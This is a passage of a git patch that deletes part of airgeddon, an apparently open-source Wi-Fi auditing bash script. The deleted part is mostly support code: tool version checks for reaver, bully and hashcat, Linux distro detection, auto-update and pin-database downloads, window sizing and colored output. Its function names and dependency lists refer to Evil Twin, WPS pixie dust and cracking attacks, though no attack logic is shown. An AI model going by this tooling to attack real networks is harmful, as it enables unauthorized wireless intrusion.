"${hashcat3_version}"; then - hashcat_fix=" -D 1 --force" - hashcat_charset_fix_needed=1 - fi -} - -#Determine hashcat version -function get_hashcat_version() { - - debug_print - - hashcat_version=$(hashcat -V 2> /dev/null) - hashcat_version=${hashcat_version#"v"} -} - -#Determine bettercap version -function get_bettercap_version() { - - debug_print - - bettercap_version=$(bettercap -v 2> /dev/null | egrep "^bettercap [0-9]" | awk '{print $2}') -} - -#Determine bully version -function get_bully_version() { - - debug_print - - bully_version=$(bully -V 2> /dev/null) - bully_version=${bully_version#"v"} -} - -#Determine reaver version -function get_reaver_version() { - - debug_print - - reaver_version=$(reaver -h 2>&1 > /dev/null | egrep "^Reaver v[0-9]" | awk '{print $2}') - if [ -z "${reaver_version}" ]; then - reaver_version=$(reaver -h 2> /dev/null | egrep "^Reaver v[0-9]" | awk '{print $2}') - fi - reaver_version=${reaver_version#"v"} -} - -#Set verbosity for bully based on version -function set_bully_verbosity() { - - debug_print - - if compare_floats_greater_or_equal "${bully_version}" "${minimum_bully_verbosity4_version}"; then - bully_verbosity="4" - else - bully_verbosity="3" - fi -} - -#Validate if bully version is able to perform integrated pixiewps attack -function validate_bully_pixiewps_version() { - - debug_print - - if compare_floats_greater_or_equal "${bully_version}" "${minimum_bully_pixiewps_version}"; then - return 0 - fi - return 1 -} - -#Validate if reaver version is able to perform integrated pixiewps attack -function validate_reaver_pixiewps_version() { - - debug_print - - if compare_floats_greater_or_equal "${reaver_version}" "${minimum_reaver_pixiewps_version}"; then - return 0 - fi - return 1 -} - -#Set the script folder var if necessary -function set_script_folder_and_name() { - - debug_print - - if [ -z "${scriptfolder}" ]; then - scriptfolder=${0} - - if ! [[ ${0} =~ ^/.*$ ]]; then - if ! [[ ${0} =~ ^.*/.*$ ]]; then - scriptfolder="./" - fi - fi - scriptfolder="${scriptfolder%/*}/" - scriptname="${0##*/}" - fi -} - -#Set the default directory for saving files -function set_default_save_path() { - - debug_print - - if [ "${is_docker}" -eq 1 ]; then - default_save_path="${docker_io_dir}" - else - default_save_path=$(env | grep ^HOME | awk -F = '{print $2}') - fi -} - -#Check if pins database file exist and try to download the new one if proceed -function check_pins_database_file() { - - debug_print - - if [ -f "${scriptfolder}${known_pins_dbfile}" ]; then - language_strings "${language}" 376 "yellow" - echo - language_strings "${language}" 287 "blue" - check_internet_access "${host_to_check_internet}" - if [ "$?" = "0" ]; then - get_local_pin_dbfile_checksum "${scriptfolder}${known_pins_dbfile}" - get_remote_pin_dbfile_checksum - if [ "$?" != "0" ]; then - echo - language_strings "${language}" 381 "yellow" - else - echo - if [ "${local_pin_dbfile_checksum}" != "${remote_pin_dbfile_checksum}" ]; then - language_strings "${language}" 383 "yellow" - echo - download_pins_database_file - if [ "$?" = "0" ]; then - language_strings "${language}" 377 "yellow" - pin_dbfile_checked=1 - else - language_strings "${language}" 378 "yellow" - fi - else - language_strings "${language}" 382 "yellow" - pin_dbfile_checked=1 - fi - fi - else - echo - language_strings "${language}" 375 "yellow" - ask_for_pin_dbfile_download_retry - fi - return 0 - else - language_strings "${language}" 374 "yellow" - echo - if hash curl 2> /dev/null; then - language_strings "${language}" 287 "blue" - check_internet_access "${host_to_check_internet}" - if [ "$?" != "0" ]; then - echo - language_strings "${language}" 375 "yellow" - return 1 - else - echo - download_pins_database_file - if [ "$?" = "0" ]; then - language_strings "${language}" 377 "yellow" - pin_dbfile_checked=1 - return 0 - else - language_strings "${language}" 378 "yellow" - return 1 - fi - fi - else - language_strings "${language}" 414 "yellow" - return 1 - fi - fi -} - -#Download the pins database file -function download_pins_database_file() { - - debug_print - - remote_pindb_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile} 2> /dev/null) - - if [ "${remote_pindb_file}" != "${curl_404_error}" ]; then - echo "${remote_pindb_file}" > "${scriptfolder}${known_pins_dbfile}" - return 0 - else - return 1 - fi -} - -#Ask for try to download pin db file again and set the var to skip it -function ask_for_pin_dbfile_download_retry() { - - debug_print - - ask_yesno 380 - if [ ${yesno} = "n" ]; then - pin_dbfile_checked=1 - fi -} - -#Get the checksum for local pin database file -function get_local_pin_dbfile_checksum() { - - debug_print - - local_pin_dbfile_checksum=$(md5sum "${1}" | awk '{print $1}') -} - -#Get the checksum for remote pin database file -function get_remote_pin_dbfile_checksum() { - - debug_print - - remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile_checksum} 2> /dev/null | head -n 1) - - if [ "${remote_pin_dbfile_checksum}" != "${curl_404_error}" ]; then - return 0 - fi - return 1 -} - -#Check for possible non Linux operating systems -function non_linux_os_check() { - - debug_print - - case "${OSTYPE}" in - solaris*) - distro="Solaris" - ;; - darwin*) - distro="Mac OSX" - ;; - bsd*) - distro="FreeBSD" - ;; - esac -} - -#First phase of Linux distro detection based on uname output -function detect_distro_phase1() { - - debug_print - - for i in "${known_compatible_distros[@]}"; do - uname -a | grep "${i}" -i > /dev/null - if [ "$?" = "0" ]; then - distro="${i^}" - break - fi - done -} - -#Second phase of Linux distro detection based on architecture and version file -function detect_distro_phase2() { - - debug_print - - if [ "${distro}" = "Unknown Linux" ]; then - if [ -f ${osversionfile_dir}"centos-release" ]; then - distro="CentOS" - elif [ -f ${osversionfile_dir}"fedora-release" ]; then - distro="Fedora" - elif [ -f ${osversionfile_dir}"gentoo-release" ]; then - distro="Gentoo" - elif [ -f ${osversionfile_dir}"openmandriva-release" ]; then - distro="OpenMandriva" - elif [ -f ${osversionfile_dir}"redhat-release" ]; then - distro="Red Hat" - elif [ -f ${osversionfile_dir}"SuSE-release" ]; then - distro="SuSE" - elif [ -f ${osversionfile_dir}"debian_version" ]; then - distro="Debian" - if [ -f ${osversionfile_dir}"os-release" ]; then - extra_os_info=$(grep "PRETTY_NAME" < ${osversionfile_dir}"os-release") - if [[ "${extra_os_info}" =~ Raspbian ]]; then - distro="Raspbian" - is_arm=1 - elif [[ "${extra_os_info}" =~ Parrot ]]; then - distro="Parrot arm" - is_arm=1 - fi - fi - fi - elif [ "${distro}" = "Arch" ]; then - if [ -f ${osversionfile_dir}"os-release" ]; then - extra_os_info=$(grep "PRETTY_NAME" < ${osversionfile_dir}"os-release") - if [[ "${extra_os_info}" =~ BlackArch ]]; then - distro="BlackArch" - elif [[ "${extra_os_info}" =~ Kali ]]; then - #Kali is intentionally here too to avoid some Kali arm distro bad detection - distro="Kali" - is_arm=1 - fi - fi - fi - - detect_arm_architecture -} - -#Detect if arm architecture is present on system -function detect_arm_architecture() { - - debug_print - - distro_already_known=0 - uname -m | grep -i "arm" > /dev/null - - if [[ "$?" = "0" ]] && [[ "${distro}" != "Unknown Linux" ]]; then - - for item in "${known_arm_compatible_distros[@]}"; do - if [ "${distro}" = "${item}" ]; then - distro_already_known=1 - fi - done - - if [ ${distro_already_known} -eq 0 ]; then - distro="${distro} arm" - is_arm=1 - fi - elif [[ "${distro}" != "Unknown Linux" ]] && [[ "${is_arm}" -eq 1 ]]; then - distro="${distro} arm" - fi -} - -#Set some useful vars based on Linux distro -function special_distro_features() { - - debug_print - - case ${distro} in - "Wifislax") - networkmanager_cmd="service restart networkmanager" - xratio=7 - yratio=15.1 - ywindow_edge_lines=1 - ywindow_edge_pixels=-14 - ;; - "Backbox") - networkmanager_cmd="service network-manager restart" - xratio=6 - yratio=14.2 - ywindow_edge_lines=1 - ywindow_edge_pixels=15 - ;; - "Ubuntu") - networkmanager_cmd="service network-manager restart" - xratio=6.2 - yratio=13.9 - ywindow_edge_lines=2 - ywindow_edge_pixels=18 - ;; - "Kali"|"Kali arm") - networkmanager_cmd="service network-manager restart" - xratio=6.2 - yratio=13.9 - ywindow_edge_lines=2 - ywindow_edge_pixels=18 - ;; - "Debian") - networkmanager_cmd="service network-manager restart" - xratio=6.2 - yratio=13.9 - ywindow_edge_lines=2 - ywindow_edge_pixels=14 - ;; - "SuSE") - networkmanager_cmd="service NetworkManager restart" - xratio=6.2 - yratio=13.9 - ywindow_edge_lines=2 - ywindow_edge_pixels=18 - ;; - "CentOS") - networkmanager_cmd="service NetworkManager restart" - xratio=6.2 - yratio=14.9 - ywindow_edge_lines=2 - ywindow_edge_pixels=10 - ;; - "Parrot"|"Parrot arm") - networkmanager_cmd="service network-manager restart" - xratio=6.2 - yratio=13.9 - ywindow_edge_lines=2 - ywindow_edge_pixels=10 - ;; - "Arch") - networkmanager_cmd="systemctl restart NetworkManager.service" - xratio=6.2 - yratio=13.9 - ywindow_edge_lines=2 - ywindow_edge_pixels=16 - ;; - "Fedora") - networkmanager_cmd="service NetworkManager restart" - xratio=6 - yratio=14.1 - ywindow_edge_lines=2 - ywindow_edge_pixels=16 - ;; - "Gentoo") - networkmanager_cmd="service NetworkManager restart" - xratio=6.2 - yratio=14.6 - ywindow_edge_lines=1 - ywindow_edge_pixels=-10 - ;; - "Red Hat") - networkmanager_cmd="service NetworkManager restart" - xratio=6.2 - yratio=15.3 - ywindow_edge_lines=1 - ywindow_edge_pixels=10 - ;; - "Cyborg") - networkmanager_cmd="service network-manager restart" - xratio=6.2 - yratio=14.5 - ywindow_edge_lines=2 - ywindow_edge_pixels=10 - ;; - "BlackArch") - networkmanager_cmd="systemctl restart NetworkManager.service" - xratio=7.3 - yratio=14 - ywindow_edge_lines=1 - ywindow_edge_pixels=1 - ;; - "Raspbian") - networkmanager_cmd="service network-manager restart" - xratio=6.2 - yratio=14 - ywindow_edge_lines=1 - ywindow_edge_pixels=20 - ;; - "OpenMandriva") - networkmanager_cmd="systemctl restart NetworkManager.service" - xratio=6.2 - yratio=14 - ywindow_edge_lines=2 - ywindow_edge_pixels=-10 - ;; - esac -} - -#Determine if NetworkManager must be killed on your system. Only needed for previous versions of 1.0.12 -function check_if_kill_needed() { - - debug_print - - nm_min_main_version="1" - nm_min_subversion="0" - nm_min_subversion2="12" - - if ! hash NetworkManager 2> /dev/null; then - check_kill_needed=0 - else - nm_system_version=$(NetworkManager --version 2> /dev/null) - - if [ "${nm_system_version}" != "" ]; then - - [[ ${nm_system_version} =~ ^([0-9]{1,2})\.([0-9]{1,2})\.([0-9]+).*?$ ]] && nm_main_system_version="${BASH_REMATCH[1]}" && nm_system_subversion="${BASH_REMATCH[2]}" && nm_system_subversion2="${BASH_REMATCH[3]}" - - if [ "${nm_main_system_version}" -lt ${nm_min_main_version} ]; then - check_kill_needed=1 - elif [ "${nm_main_system_version}" -eq ${nm_min_main_version} ]; then - - if [ "${nm_system_subversion}" -lt ${nm_min_subversion} ]; then - check_kill_needed=1 - elif [ "${nm_system_subversion}" -eq ${nm_min_subversion} ]; then - - if [ "${nm_system_subversion2}" -lt ${nm_min_subversion2} ]; then - check_kill_needed=1 - fi - fi - fi - else - check_kill_needed=1 - fi - fi -} - -#Do some checks for some general configuration -function general_checkings() { - - debug_print - - compatible=0 - distro="Unknown Linux" - - detect_distro_phase1 - detect_distro_phase2 - special_distro_features - check_if_kill_needed - - if [ "${distro}" = "Unknown Linux" ]; then - non_linux_os_check - echo -e "${yellow_color}${distro}${normal_color}" - else - if [ "${is_docker}" -eq 1 ]; then - echo -e "${yellow_color}${docker_based_distro} Linux ${pink_color}(Docker)${normal_color}" - else - echo -e "${yellow_color}${distro} Linux${normal_color}" - fi - fi - - check_compatibility - if [ ${compatible} -eq 1 ]; then - return - fi - - check_root_permissions - - language_strings "${language}" 115 "read" - exit_code=1 - exit_script_option -} - -#Check if the user is root -function check_root_permissions() { - - debug_print - - user=$(whoami) - - if [ "${user}" != "root" ]; then - language_strings "${language}" 223 "yellow" - fi -} - -#Print Linux known distros -function print_known_distros() { - - debug_print - - all_known_compatible_distros=("${known_compatible_distros[@]}" "${known_arm_compatible_distros[@]}") - IFS=$'\n' - all_known_compatible_distros=($(printf "%s\n" "${all_known_compatible_distros[@]}" | sort)) - unset IFS - - for i in "${all_known_compatible_distros[@]}"; do - echo -ne "${pink_color}\"${i}\" ${normal_color}" - done - echo -} - -#Check if you have installed the tools (essential and optional) that the script uses -function check_compatibility() { - - debug_print - - echo - language_strings "${language}" 108 "blue" - language_strings "${language}" 115 "read" - - echo - language_strings "${language}" 109 "blue" - - essential_toolsok=1 - for i in "${essential_tools_names[@]}"; do - echo -ne "${i}" - time_loop - if ! hash "${i}" 2> /dev/null; then - echo -ne "${red_color} Error${normal_color}" - essential_toolsok=0 - echo -ne " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" - echo -e "\r" - else - echo -e "${green_color} Ok\r${normal_color}" - fi - done - - echo - language_strings "${language}" 218 "blue" - - optional_toolsok=1 - for i in "${!optional_tools[@]}"; do - echo -ne "${i}" - time_loop - if ! hash "${i}" 2> /dev/null; then - echo -ne "${red_color} Error${normal_color}" - optional_toolsok=0 - echo -ne " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" - echo -e "\r" - else - if [ "${i}" = "beef" ]; then - detect_fake_beef - if [ ${fake_beef_found} -eq 1 ]; then - echo -ne "${red_color} Error${normal_color}" - optional_toolsok=0 - echo -ne " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" - echo -e "\r" - else - echo -e "${green_color} Ok\r${normal_color}" - optional_tools[${i}]=1 - fi - else - echo -e "${green_color} Ok\r${normal_color}" - optional_tools[${i}]=1 - fi - fi - done - - update_toolsok=1 - if [ ${auto_update} -eq 1 ]; then - - echo - language_strings "${language}" 226 "blue" - - for i in "${update_tools[@]}"; do - echo -ne "${i}" - time_loop - if ! hash "${i}" 2> /dev/null; then - echo -ne "${red_color} Error${normal_color}" - update_toolsok=0 - echo -ne " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" - echo -e "\r" - else - echo -e "${green_color} Ok\r${normal_color}" - fi - done - fi - - if [ ${essential_toolsok} -eq 0 ]; then - echo - language_strings "${language}" 111 "red" - echo - return - fi - - compatible=1 - - if [ ${optional_toolsok} -eq 0 ]; then - echo - language_strings "${language}" 219 "yellow" - echo - if [ ${fake_beef_found} -eq 1 ]; then - language_strings "${language}" 401 "red" - echo - fi - return - fi - - echo - language_strings "${language}" 110 "yellow" -} - -#Check for the minimum bash version requirement -function check_bash_version() { - - debug_print - - echo - bashversion="${BASH_VERSINFO[0]}.${BASH_VERSINFO[1]}" - if compare_floats_greater_or_equal "${bashversion}" ${minimum_bash_version_required}; then - language_strings "${language}" 221 "yellow" - else - language_strings "${language}" 222 "red" - exit_code=1 - exit_script_option - fi -} - -#Check if you have installed the tools required to update the script -function check_update_tools() { - - debug_print - - if [ ${auto_update} -eq 1 ]; then - if [ ${update_toolsok} -eq 1 ]; then - autoupdate_check - else - echo - language_strings "${language}" 225 "yellow" - language_strings "${language}" 115 "read" - fi - else - if [ "${is_docker}" -eq 1 ]; then - echo - language_strings "${language}" 422 "blue" - language_strings "${language}" 115 "read" - fi - fi -} - -#Check if window size is enough for intro -function check_window_size_for_intro() { - - debug_print - - window_width=$(tput cols) - window_height=$(tput lines) - - if [ "${window_width}" -lt 69 ]; then - return 1 - elif [[ ${window_width} -ge 69 ]] && [[ ${window_width} -le 80 ]]; then - if [ "${window_height}" -lt 20 ]; then - return 1 - fi - else - if [ "${window_height}" -lt 19 ]; then - return 1 - fi - fi - - return 0 -} - -#Print the script intro -function print_intro() { - - debug_print - - echo -e "${yellow_color} .__ .___ .___" - sleep 0.15 && echo -e " _____ |__|______ ____ ____ __| _/__| _/____ ____" - sleep 0.15 && echo -e " \__ \ | \_ __ \/ ___\_/ __ \ / __ |/ __ |/ _ \ / \\" - sleep 0.15 && echo -e " / __ \| || | \/ /_/ > ___// /_/ / /_/ ( <_> ) | \\" - sleep 0.15 && echo -e " (____ /__||__| \___ / \___ >____ \____ |\____/|___| /" - sleep 0.15 && echo -e " \/ /_____/ \/ \/ \/ \/${normal_color}" - echo - language_strings "${language}" 228 "green" - print_animated_flying_saucer - sleep 1 -} - -#Generate the frames of the animated ascii art flying saucer -function flying_saucer() { - - debug_print - - case ${1} in - 1) - echo " " - echo " . * _.---._ * " - echo " .' '. . " - echo " _.-~===========~-._ *" - echo " * (___________________) . " - echo " . . \_______/ * " - ;; - 2) - echo " * . _.---._ . " - echo " * .' '. . " - echo " _.-~===========~-._ * " - echo " . (___________________) * " - echo " * \_______/ . " - echo " " - ;; - 3) - echo " * . " - echo " * _.---._ * " - echo " . .' '. * " - echo " . _.-~===========~-._ * " - echo " (___________________) ." - echo " * \_______/ . " - ;; - 4) - echo " * . _.---._ . " - echo " * .' '. . " - echo " _.-~===========~-._ * " - echo " . (___________________) * " - echo " * \_______/ . " - echo " " - ;; - esac - sleep 0.4 -} - -#Print animated ascii art flying saucer -function print_animated_flying_saucer() { - - debug_print - - echo -e "\033[s" - - for i in $(seq 1 8); do - if [ "${i}" -le 4 ]; then - saucer_frame=${i} - else - saucer_frame=$((i-4)) - fi - echo -e "\033[u" - flying_saucer ${saucer_frame} - done -} - -#Initialize script settings -function initialize_script_settings() { - - debug_print - - is_docker=0 - exit_code=0 - check_kill_needed=0 - nm_processes_killed=0 - airmon_fix - autochanged_language=0 - tmpfiles_toclean=0 - routing_toclean=0 - spoofed_mac=0 - mac_spoofing_desired=0 - dhcpd_path_changed=0 - xratio=6.2 - yratio=13.9 - ywindow_edge_lines=2 - ywindow_edge_pixels=18 - networkmanager_cmd="service network-manager restart" - is_arm=0 - pin_dbfile_checked=0 - beef_found=0 - fake_beef_found=0 - set_script_folder_and_name -} - -#Detect screen resolution if possible -function detect_screen_resolution() { - - debug_print - - resolution_detected=0 - if hash xdpyinfo 2> /dev/null; then - resolution=$(xdpyinfo 2> /dev/null | grep -A 3 "screen #0" | grep "dimensions" | tr -s " " | cut -d " " -f 3 | grep "x") - - if [ "$?" = "0" ]; then - resolution_detected=1 - fi - fi - - if [ ${resolution_detected} -eq 0 ]; then - resolution=${standard_resolution} - fi - - [[ ${resolution} =~ ^([0-9]{3,4})x(([0-9]{3,4}))$ ]] && resolution_x="${BASH_REMATCH[1]}" && resolution_y="${BASH_REMATCH[2]}" -} - -#Set windows sizes and positions -function set_windows_sizes() { - - debug_print - - set_xsizes - set_ysizes - set_ypositions - - g1_topleft_window="${xwindow}x${ywindowhalf}+0+0" - g1_bottomleft_window="${xwindow}x${ywindowhalf}+0-0" - g1_topright_window="${xwindow}x${ywindowhalf}-0+0" - g1_bottomright_window="${xwindow}x${ywindowhalf}-0-0" - - g2_stdleft_window="${xwindow}x${ywindowone}+0+0" - g2_stdright_window="${xwindow}x${ywindowone}-0+0" - - g3_topleft_window="${xwindow}x${ywindowthird}+0+0" - g3_middleleft_window="${xwindow}x${ywindowthird}+0+${middle_position}" - g3_bottomleft_window="${xwindow}x${ywindowthird}+0-0" - g3_topright_window="${xwindow}x${ywindowhalf}-0+0" - g3_bottomright_window="${xwindow}x${ywindowhalf}-0-0" - - g4_topleft_window="${xwindow}x${ywindowthird}+0+0" - g4_middleleft_window="${xwindow}x${ywindowthird}+0+${middle_position}" - g4_bottomleft_window="${xwindow}x${ywindowthird}+0-0" - g4_topright_window="${xwindow}x${ywindowthird}-0+0" - g4_middleright_window="${xwindow}x${ywindowthird}-0+${middle_position}" - g4_bottomright_window="${xwindow}x${ywindowthird}-0-0" -} - -#Set sizes for x axis -function set_xsizes() { - - debug_print - - xtotal=$(awk -v n1="${resolution_x}" "BEGIN{print n1 / ${xratio}}") - - xtotaltmp=$(printf "%.0f" "${xtotal}" 2> /dev/null) - if [ "$?" != "0" ]; then - dec_char="," - xtotal="${xtotal/./${dec_char}}" - xtotal=$(printf "%.0f" "${xtotal}" 2> /dev/null) - else - xtotal=${xtotaltmp} - fi - - xcentral_space=$((xtotal * 5 / 100)) - xhalf=$((xtotal / 2)) - xwindow=$((xhalf - xcentral_space)) -} - -#Set sizes for y axis -function set_ysizes() { - - debug_print - - ytotal=$(awk -v n1="${resolution_y}" "BEGIN{print n1 / ${yratio}}") - ytotaltmp=$(printf "%.0f" "${ytotal}" 2> /dev/null) - if [ "$?" != "0" ]; then - dec_char="," - ytotal="${ytotal/./${dec_char}}" - ytotal=$(printf "%.0f" "${ytotal}" 2> /dev/null) - else - ytotal=${ytotaltmp} - fi - - ywindowone=$((ytotal - ywindow_edge_lines)) - ywindowhalf=$((ytotal / 2 - ywindow_edge_lines)) - ywindowthird=$((ytotal / 3 - ywindow_edge_lines)) -} - -#Set positions for y axis -function set_ypositions() { - - debug_print - - middle_position=$((resolution_y / 3 + ywindow_edge_pixels)) -} - -#Recalculate windows sizes and positions -function recalculate_windows_sizes() { - - debug_print - - detect_screen_resolution - set_windows_sizes -} - -#Detect if airgeddon is working inside a docker container -function docker_detection() { - - debug_print - - if [ -f /.dockerenv ]; then - is_docker=1 - fi -} - -#Script starting point -function welcome() { - - debug_print - - clear - current_menu="pre_main_menu" - initialize_script_settings - docker_detection - set_default_save_path - - if [ ${auto_change_language} -eq 1 ]; then - autodetect_language - fi - - check_language_strings - - detect_screen_resolution - set_possible_aliases - initialize_optional_tools_values - - if [ ${debug_mode} -eq 0 ]; then - language_strings "${language}" 86 "title" - language_strings "${language}" 6 "blue" - echo - check_window_size_for_intro - if [ "$?" = "0" ]; then - print_intro - else - language_strings "${language}" 228 "green" - echo - language_strings "${language}" 395 "yellow" - sleep 3 - fi - - clear - language_strings "${language}" 86 "title" - language_strings "${language}" 7 "pink" - language_strings "${language}" 114 "pink" - - if [ ${autochanged_language} -eq 1 ]; then - echo - language_strings "${language}" 2 "yellow" - fi - - check_bash_version - - echo - if [ ${resolution_detected} -eq 1 ]; then - language_strings "${language}" 294 "blue" - else - language_strings "${language}" 295 "red" - echo - language_strings "${language}" 300 "yellow" - fi - - echo - language_strings "${language}" 8 "blue" - print_known_distros - echo - language_strings "${language}" 9 "blue" - general_checkings - language_strings "${language}" 115 "read" - - airmonzc_security_check - check_update_tools - fi - - set_windows_sizes - select_interface - initialize_menu_options_dependencies - remove_warnings - main_menu -} - -#Avoid the problem of using airmon-zc without ethtool or lspci installed -function airmonzc_security_check() { - - debug_print - - if [ "${airmon}" = "airmon-zc" ]; then - if ! hash ethtool 2> /dev/null; then - echo - language_strings "${language}" 247 "red" - echo - language_strings "${language}" 115 "read" - exit_code=1 - exit_script_option - elif ! hash lspci 2> /dev/null; then - echo - language_strings "${language}" 301 "red" - echo - language_strings "${language}" 115 "read" - exit_code=1 - exit_script_option - fi - fi -} - -#Compare if first float argument is greater than float second argument -function compare_floats_greater_than() { - - debug_print - - awk -v n1="${1}" -v n2="${2}" 'BEGIN{if (n1>n2) exit 0; exit 1}' -} - -#Compare if first float argument is greater or equal than float second argument -function compare_floats_greater_or_equal() { - - debug_print - - awk -v n1="${1}" -v n2="${2}" 'BEGIN{if (n1>=n2) exit 0; exit 1}' -} - -#Update and relaunch the script -function download_last_version() { - - debug_print - - rewrite_script_with_custom_beef "search" - download_language_strings_file && timeout -s SIGTERM 15 curl -L ${urlscript_directlink} -s -o "${0}" - - if [ "$?" = "0" ]; then - echo - language_strings "${language}" 214 "yellow" - - if [ -n "${beef_custom_path}" ]; then - rewrite_script_with_custom_beef "set" "${beef_custom_path}" - fi - language_strings "${language}" 115 "read" - exec "${scriptfolder}${scriptname}" - else - language_strings "${language}" 5 "yellow" - fi -} - -#Validate if the selected internet interface has internet access -function validate_et_internet_interface() { - - debug_print - - echo - language_strings "${language}" 287 "blue" - check_internet_access "${host_to_check_internet}" - - if [ "$?" != "0" ]; then - echo - language_strings "${language}" 288 "red" - language_strings "${language}" 115 "read" - return 1 - fi - - check_default_route "${internet_interface}" - if [ "$?" != "0" ]; then - echo - language_strings "${language}" 290 "red" - language_strings "${language}" 115 "read" - return 1 - fi - - echo - language_strings "${language}" 289 "yellow" - language_strings "${language}" 115 "read" - internet_interface_selected=1 - return 0 -} - -#Check for active internet connection -function check_internet_access() { - - debug_print - - ping -c 1 ${host_to_check_internet} -W 1 > /dev/null 2>&1 - return $? -} - -#Check for default route on an interface -function check_default_route() { - - debug_print - - route | grep "${1}" | grep "default" > /dev/null - return $? -} - -#Update the script if your version is lower than the cloud version -function autoupdate_check() { - - debug_print - - echo - language_strings "${language}" 210 "blue" - echo - hasinternet_access_for_update=0 - - check_internet_access "${host_to_check_internet}" - if [ "$?" = "0" ]; then - hasinternet_access_for_update=1 - fi - - if [ ${hasinternet_access_for_update} -eq 1 ]; then - - airgeddon_last_version=$(timeout -s SIGTERM 15 curl -L ${urlscript_directlink} 2> /dev/null | grep "airgeddon_version=" | head -1 | cut -d "\"" -f 2) - - if [ "${airgeddon_last_version}" != "" ]; then - if compare_floats_greater_than "${airgeddon_last_version}" "${airgeddon_version}"; then - language_strings "${language}" 213 "yellow" - download_last_version - else - language_strings "${language}" 212 "yellow" - fi - else - language_strings "${language}" 5 "yellow" - fi - else - language_strings "${language}" 211 "yellow" - fi - - language_strings "${language}" 115 "read" -} - -#Check if you can launch captive portal Evil Twin attack -function check_et_without_internet_compatibility() { - - debug_print - - if ! hash "${optional_tools_names[12]}" 2> /dev/null; then - return 1 - fi - return 0 -} - -#Change script language automatically if OS language is supported by the script and different from current language -function autodetect_language() { - - debug_print - - [[ $(locale | grep LANG) =~ ^(.*)=\"?([a-zA-Z]+)_(.*)$ ]] && lang="${BASH_REMATCH[2]}" - - for lgkey in "${!lang_association[@]}"; do - if [[ "${lang}" = "${lgkey}" ]] && [[ "${language}" != "${lang_association[${lgkey}]}" ]]; then - autochanged_language=1 - language=${lang_association[${lgkey}]} - break - fi - done -} - -#Clean some known and controlled warnings for shellcheck tool -function remove_warnings() { - - debug_print - - echo "${clean_handshake_dependencies[@]}" > /dev/null 2>&1 - echo "${aircrack_attacks_dependencies[@]}" > /dev/null 2>&1 - echo "${aireplay_attack_dependencies[@]}" > /dev/null 2>&1 - echo "${mdk3_attack_dependencies[@]}" > /dev/null 2>&1 - echo "${hashcat_attacks_dependencies[@]}" > /dev/null 2>&1 - echo "${et_onlyap_dependencies[@]}" > /dev/null 2>&1 - echo "${et_sniffing_dependencies[@]}" > /dev/null 2>&1 - echo "${et_sniffing_sslstrip_dependencies[@]}" > /dev/null 2>&1 - echo "${et_sniffing_sslstrip2_dependencies[@]}" > /dev/null 2>&1 - echo "${et_captive_portal_dependencies[@]}" > /dev/null 2>&1 - echo "${wash_scan_dependencies[@]}" > /dev/null 2>&1 - echo "${bully_attacks_dependencies[@]}" > /dev/null 2>&1 - echo "${reaver_attacks_dependencies[@]}" > /dev/null 2>&1 - echo "${bully_pixie_dust_attack_dependencies[@]}" > /dev/null 2>&1 - echo "${reaver_pixie_dust_attack_dependencies[@]}" > /dev/null 2>&1 - echo "${is_arm}" > /dev/null 2>&1 -} - -#Print a simple separator -function print_simple_separator() { - - debug_print - - echo_blue "---------" -} - -#Print a large separator -function print_large_separator() { - - debug_print - - echo_blue "-------------------------------------------------------" -} - -#Add the PoT prefix on printed strings if PoT mark is found -function check_pending_of_translation() { - - debug_print - - if [[ "${1}" =~ ^${escaped_pending_of_translation}([[:space:]])(.*)$ ]]; then - text="${cyan_color}${pending_of_translation} ${2}${BASH_REMATCH[2]}" - return 1 - elif [[ "${1}" =~ ^${escaped_hintvar}[[:space:]](\\033\[[0-9];[0-9]{1,2}m)?(${escaped_pending_of_translation})[[:space:]](.*) ]]; then - text="${cyan_color}${pending_of_translation} ${brown_color}${hintvar} ${pink_color}${BASH_REMATCH[3]}" - return 1 - elif [[ "${1}" =~ ^(\*+)[[:space:]]${escaped_pending_of_translation}[[:space:]]([^\*]+)(\*+)$ ]]; then - text="${2}${BASH_REMATCH[1]}${cyan_color} ${pending_of_translation} ${2}${BASH_REMATCH[2]}${BASH_REMATCH[3]}" - return 1 - elif [[ "${1}" =~ ^(\-+)[[:space:]]\(${escaped_pending_of_translation}[[:space:]]([^\-]+)(\-+)$ ]]; then - text="${2}${BASH_REMATCH[1]} (${cyan_color}${pending_of_translation} ${2}${BASH_REMATCH[2]}${BASH_REMATCH[3]}" - return 1 - fi - - return 0 -} - -#Print under construction message used on some menu entries -function under_construction_message() { - - debug_print - - local var_uc="${under_constructionvar^}" - echo - echo_red "${var_uc}..." - language_strings "${language}" 115 "read" -} - -#Canalize the echo functions -function last_echo() { - - debug_print - - check_pending_of_translation "${1}" "${2}" - if [ "$?" != "0" ]; then - echo -e "${2}${text}${normal_color}" - else - echo -e "${2}$*${normal_color}" - fi -} - -#Print green messages -function echo_green() { - - debug_print - - last_echo "${1}" "${green_color}" -} - -#Print blue messages -function echo_blue() { - - debug_print - - last_echo "${1}" "${blue_color}" -} - -#Print yellow messages -function echo_yellow() { - - debug_print - - last_echo "${1}" "${yellow_color}" -} - -#Print red messages -function echo_red() { - - debug_print - - last_echo "${1}" "${red_color}" -} - -#Print red messages using a slimmer thickness -function echo_red_slim() { - - debug_print - - last_echo "${1}" "${red_color_slim}" -} - -#Print black messages with background for titles -function echo_green_title() { - - debug_print - - last_echo "${1}" "${green_color_title}" -} - -#Print pink messages -function echo_pink() { - - debug_print - - last_echo "${1}" "${pink_color}" -} - -#Print cyan messages -function echo_cyan() { - - debug_print - - last_echo "${1}" "${cyan_color}" -} - -#Print brown messages -function echo_brown() { - - debug_print - - last_echo "${1}" "${brown_color}" -} - -#Print white messages -function echo_white() { - - debug_print - - last_echo "${1}" "${white_color}" -} - -for f in SIGINT SIGHUP INT SIGTSTP; do - trap_cmd="trap \"capture_traps ${f}\" \"${f}\"" - eval "${trap_cmd}" -done -welcome From 5ba7b04b04260faead16634daa7909a9e36950f8 Mon Sep 17 00:00:00 2001 From: Sotirios Roussis Date: Thu, 20 Apr 2017 03:34:48 +0300 Subject: [PATCH 03/28] Added AUR package in binaries/arch --- ...rgeddon-git-r590.6e8dd63-6.2-any.pkg.tar.xz | Bin 0 -> 129544 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 